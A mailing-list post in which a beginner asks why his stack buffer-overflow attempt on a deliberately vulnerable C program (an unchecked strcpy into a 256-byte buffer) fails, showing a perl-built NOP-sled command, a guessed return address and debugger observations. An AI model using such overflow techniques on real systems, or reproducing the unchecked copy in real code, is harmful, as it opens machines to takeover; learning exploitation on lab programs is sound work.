Buffer Overflow problem

["John Vill" <kalookalaa () hotmail com>]

Hello Im new to this is list and I was hoping someone can help me.

int main(int argv,char **argc) {
       char buf[256];

       strcpy(buf,argc[1]);
}


is a simple program I found that was written to be overflown.  I've tried 
for at least 2-3 hours trying to overflow it right. I was using...
`perl -e 'print "\x90"x222'``cat ./text3``perl -e 'print 
"\x68\xf9\xff\xbf"'` <-- ESP
I'm on Fedora Core and a disas main shows "sub  $0x108,%esp" making the 
buffer 264.
text3 is the shellcode.
I would get an "Illegal Instruction" message.
In gdb the EIP was overwritten with bffff96a which I think is weird, where 
does the "a" come from? I tried using 66 instead of 68 and the 6 shows up 
but it still doesnt give a shell. Can someone also tell me what exactly 
"Illegal Instruction" means? Am I returning before the buffer or something?

Any help is appreciated.

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